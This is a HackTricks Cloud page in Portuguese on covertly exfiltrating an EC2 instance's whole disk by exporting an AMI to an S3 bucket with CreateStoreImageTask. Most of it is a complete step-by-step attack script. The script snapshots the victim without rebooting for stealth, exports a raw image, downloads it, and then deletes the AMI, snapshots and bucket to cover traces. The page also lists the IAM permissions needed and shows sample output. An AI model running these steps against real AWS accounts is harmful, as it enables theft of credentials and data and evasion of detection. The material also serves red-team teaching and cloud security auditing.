AWS – Exfiltração Oculta de Disco via AMI Store-to-S3 (CreateStoreImageTask)
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Resumo
Abuse a exportação de AMI do EC2 para S3 para exfiltrar o disco completo de uma instância EC2 como uma única imagem raw armazenada em S3, e então baixá-la out-of-band. Isso evita o compartilhamento de snapshots e produz um objeto por AMI.
Requisitos
- EC2:
ec2:CreateImage,ec2:CreateStoreImageTask,ec2:DescribeStoreImageTasksna instância/AMI alvo - S3 (mesma Região):
s3:PutObject,s3:GetObject,s3:ListBucket,s3:AbortMultipartUpload,s3:PutObjectTagging,s3:GetBucketLocation - KMS decrypt na chave que protege os snapshots da AMI (se a criptografia padrão do EBS estiver habilitada)
- Política de bucket S3 que confia no principal de serviço
vmie.amazonaws.com(veja abaixo)
Impacto
- Aquisição completa offline do disco root da instância em S3 sem compartilhar snapshots ou copiar entre contas.
- Permite forense furtiva em credenciais, configurações e conteúdo do sistema de arquivos a partir da imagem raw exportada.
Como Exfiltrar via AMI Store-to-S3
- Notas:
- O bucket S3 deve estar na mesma Região que a AMI.
- Em
us-east-1,create-bucketNÃO deve incluir--create-bucket-configuration. --no-rebootcria uma imagem crash-consistent sem parar a instância (mais furtivo, mas menos consistente).
Comandos passo a passo
# Vars
REGION=us-east-1
INSTANCE_ID=<i-victim>
BUCKET=exfil-ami-$(date +%s)-$RANDOM
# 1) Create S3 bucket (same Region)
if [ "$REGION" = "us-east-1" ]; then
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
else
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
fi
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
cat > /tmp/bucket-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVMIEPut",
"Effect": "Allow",
"Principal": {"Service": "vmie.amazonaws.com"},
"Action": [
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
],
"Resource": [
"arn:aws:s3:::$BUCKET",
"arn:aws:s3:::$BUCKET/*"
],
"Condition": {
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
}
}
]
}
POL
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
# 3) Create an AMI of the victim (stealthy: do not reboot)
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
# 4) Wait until the AMI is available
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
# 5) Store the AMI to S3 as a single object (raw disk image)
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
echo "Object in S3: s3://$BUCKET/$OBJKEY"
# 6) Poll the task until it completes
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text
sleep 10
done
# 7) Prove access to the exported image (download first 1MiB)
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
ls -l /tmp/ami.bin
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
done
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
Exemplo de Evidência
describe-store-image-taskstransições:
InProgress
Completed
- Metadados do objeto S3 (exemplo):
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
- Download parcial comprova o acesso ao objeto:
ls -l /tmp/ami.bin
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
Permissões IAM necessárias
- EC2:
CreateImage,CreateStoreImageTask,DescribeStoreImageTasks - S3 (no bucket de exportação):
PutObject,GetObject,ListBucket,AbortMultipartUpload,PutObjectTagging,GetBucketLocation - KMS: Se os snapshots de AMI estiverem criptografados, permitir decrypt para a EBS KMS key usada pelos snapshots
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud